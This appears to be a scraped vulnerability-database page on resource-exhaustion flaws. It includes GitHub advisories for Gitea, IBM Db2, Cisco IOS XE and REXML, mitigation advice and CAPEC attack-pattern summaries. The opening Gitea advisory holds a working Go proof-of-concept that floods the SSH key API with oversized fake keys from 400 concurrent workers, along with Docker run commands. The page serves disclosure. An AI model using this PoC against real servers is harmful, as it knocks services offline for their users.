session, auth_model.AccessTokenScopeWriteUser)\n\n\tconst (\n\t\tnumLines     = 400_000\n\t\tcharsPerLine = 100\n\t\tnumWorkers   = 400\n\t)\n\n\tvar sb strings.Builder\n\tsb.WriteString(\"---- BEGIN SSH2 PUBLIC KEY ----\\n\")\n\tsb.WriteString(\"Comment: dos\\n\")\n\tline := strings.Repeat(\"a\", charsPerLine) + \"\\n\"\n\tfor i := 0; i \u003c numLines; i++ {\n\t\tsb.WriteString(line)\n\t}\n\tsb.WriteString(\"---- END SSH2 PUBLIC KEY ----\\n\")\n\tpayload := sb.String()\n\n\tpeakGB := float64(numWorkers) * 2 * float64(numLines) * float64(charsPerLine) / (1 \u003c\u003c 30)\n\tt.Logf(\"payload=%.1f MB  workers=%d  peak_theory=%.1f GB\",\n\t\tfloat64(len(payload))/(1\u003c\u003c20), numWorkers, peakGB)\n\n\t// Each goroutine marshals its own JSON body. The bytes live in req.Body\n\t// for the entire duration of MakeRequest, so numWorkers concurrent\n\t// goroutines hold numWorkers \u00d7 payload_size bytes simultaneously.\n\t// With numWorkers=400 and payload=38.5 MB: 400 \u00d7 38.5 MB = 15.4 GB \u2192 OOM.\n\tvar (\n\t\twg    sync.WaitGroup\n\t\tdone  atomic.Int64\n\t\tready = make(chan struct{})\n\t\tstart = time.Now()\n\t)\n\n\tfor i := 0; i \u003c numWorkers; i++ {\n\t\twg.Add(1)\n\t\tgo func(id int) {\n\t\t\tdefer func() { done.Add(1); wg.Done() }()\n\t\t\t\u003c-ready\n\n\t\t\treq := NewRequestWithJSON(t, \"POST\", \"/api/v1/user/keys\", api.CreateKeyOption{\n\t\t\t\tTitle: fmt.Sprintf(\"dos-%d\", id),\n\t\t\t\tKey:   payload,\n\t\t\t}).AddTokenAuth(token)\n\n\t\t\tMakeRequest(t, req, NoExpectedStatus)\n\t\t}(i)\n\t}\n\n\tgo func() {\n\t\tvar ms runtime.MemStats\n\t\tticker := time.NewTicker(5 * time.Second)\n\t\tdefer ticker.Stop()\n\t\tfor range ticker.C {\n\t\t\truntime.ReadMemStats(\u0026ms)\n\t\t\tt.Logf(\"[%4.0fs] done=%d/%d  HeapSys=%.1f GB  HeapAlloc=%.1f GB\",\n\t\t\t\ttime.Since(start).Seconds(), done.Load(), numWorkers,\n\t\t\t\tfloat64(ms.HeapSys)/(1\u003c\u003c30), float64(ms.HeapAlloc)/(1\u003c\u003c30))\n\t\t}\n\t}()\n\n\tclose(ready)\n\twg.Wait()\n\tt.Logf(\"all done in %.1fs \u2014 container survived, increase numWorkers or numLines\",\n\t\ttime.Since(start).Seconds())\n}\n```\n\nWhen you run the Dockerfile, it should OOM, however this is highly dependent on the host machine. On my end, I do the following:\n\n```sh\ndocker build -t gitea-dos-poc -f poc/Dockerfile .\ndocker run --rm --memory=12g --memory-swap=12g gitea-dos-poc\n```\n\nWhich prints out:\n```\n=== TestDoSSSHKeyParserOOM (tests/integration/poc_dos_test.go:35)\n    testlogger.go:62: 2026/06/02 14:37:40 modules/storage/local.go:48:NewLocalStorage() [I] Creating new Local Storage at /gitea/tests/gitea-lfs-meta\n    testlogger.go:62: 2026/06/02 14:37:40 HTTPRequest [I] router: completed POST /user/login for test-mock:12345, 303 See Other in 29.9ms @ auth/auth.go:284(auth.SignInPost)\n    testlogger.go:62: 2026/06/02 14:37:41 HTTPRequest [I] router: completed POST /user/settings/applications for test-mock:12345, 303 See Other in 17.8ms @ setting/applications.go:36(setting.ApplicationsPost)\n    poc_dos_test.go:62: payload=38.5 MB  workers=400  peak_theory=29.8 GB\n```\n\n... demonstrating high memory consumption. On my end, memory is consumed within 1 second.",
  "id": "GHSA-4xjf-493q-98p3",
  "modified": "2026-07-21T21:09:58Z",
  "published": "2026-07-21T21:09:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-4xjf-493q-98p3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-gitea/gitea"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-gitea/gitea/releases/tag/v1.27.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gitea SSH Key Parser Denial of Service"
}

GHSA-4XMG-9FRG-C434

Vulnerability from github – Published: 2023-12-04 00:30 – Updated: 2023-12-04 00:30
VLAI
Details

IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.5, 11.1, 11.5 is vulnerable to denial of service under extreme stress conditions. IBM X-Force ID: 264807.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-40692"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-12-04T00:15:07Z",
    "severity": "MODERATE"
  },
  "details": "IBM Db2 for Linux, UNIX and Windows (includes Db2 Connect Server) 10.5, 11.1, 11.5 is vulnerable to denial of service under extreme stress conditions.  IBM X-Force ID:  264807.",
  "id": "GHSA-4xmg-9frg-c434",
  "modified": "2023-12-04T00:30:26Z",
  "published": "2023-12-04T00:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-40692"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/264807"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240119-0001"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7087157"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4XPJ-F87G-Q66Q

Vulnerability from github – Published: 2022-05-24 19:15 – Updated: 2022-07-09 00:00
VLAI
Details

A vulnerability in Ethernet over GRE (EoGRE) packet processing of Cisco IOS XE Wireless Controller Software for the Cisco Catalyst 9800 Family Wireless Controller, Embedded Wireless Controller, and Embedded Wireless on Catalyst 9000 Series Switches could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device. This vulnerability is due to improper processing of malformed EoGRE packets. An attacker could exploit this vulnerability by sending malicious packets to the affected device. A successful exploit could allow the attacker to cause the device to reload, resulting in a DoS condition.

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-1611"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-09-23T03:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in Ethernet over GRE (EoGRE) packet processing of Cisco IOS XE Wireless Controller Software for the Cisco Catalyst 9800 Family Wireless Controller, Embedded Wireless Controller, and Embedded Wireless on Catalyst 9000 Series Switches could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device. This vulnerability is due to improper processing of malformed EoGRE packets. An attacker could exploit this vulnerability by sending malicious packets to the affected device. A successful exploit could allow the attacker to cause the device to reload, resulting in a DoS condition.",
  "id": "GHSA-4xpj-f87g-q66q",
  "modified": "2022-07-09T00:00:21Z",
  "published": "2022-05-24T19:15:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1611"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ewlc-gre-6u4ELzAT"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4XQQ-M2HX-25V8

Vulnerability from github – Published: 2024-07-16 19:49 – Updated: 2025-11-03 22:47
VLAI
Summary
REXML denial of service vulnerability
Details

Impact

The REXML gem before 3.3.1 has some DoS vulnerabilities when it parses an XML that has many specific characters such as <, 0 and %>.

If you need to parse untrusted XMLs, you may be impacted to these vulnerabilities.

Patches

The REXML gem 3.3.2 or later include the patches to fix these vulnerabilities.

Workarounds

Don't parse untrusted XMLs.

References

  • https://github.com/ruby/rexml/security/advisories/GHSA-vg3r-rm7w-2xgh : This is a similar vulnerability
  • https://www.ruby-lang.org/en/news/2024/07/16/dos-rexml-cve-2024-39908/
Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "RubyGems",
        "name": "rexml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-39908"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-07-16T19:49:15Z",
    "nvd_published_at": "2024-07-16T18:15:08Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThe REXML gem before 3.3.1 has some DoS vulnerabilities when it parses an XML that has many specific characters such as `\u003c`, `0` and `%\u003e`.\n\nIf you need to parse untrusted XMLs, you may be impacted to these vulnerabilities.\n\n### Patches\n\nThe REXML gem 3.3.2 or later include the patches to fix these vulnerabilities.\n\n### Workarounds\n\nDon\u0027t parse untrusted XMLs.\n\n### References\n\n* https://github.com/ruby/rexml/security/advisories/GHSA-vg3r-rm7w-2xgh : This is a similar vulnerability\n* https://www.ruby-lang.org/en/news/2024/07/16/dos-rexml-cve-2024-39908/",
  "id": "GHSA-4xqq-m2hx-25v8",
  "modified": "2025-11-03T22:47:12Z",
  "published": "2024-07-16T19:49:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/ruby/rexml/security/advisories/GHSA-4xqq-m2hx-25v8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-39908"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/ruby/rexml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ruby/rexml/releases/tag/v3.3.2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/rexml/CVE-2024-39908.yml"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00011.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250117-0008"
    },
    {
      "type": "WEB",
      "url": "https://www.ruby-lang.org/en/news/2024/07/16/dos-rexml-cve-2024-39908"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "REXML denial of service vulnerability"
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

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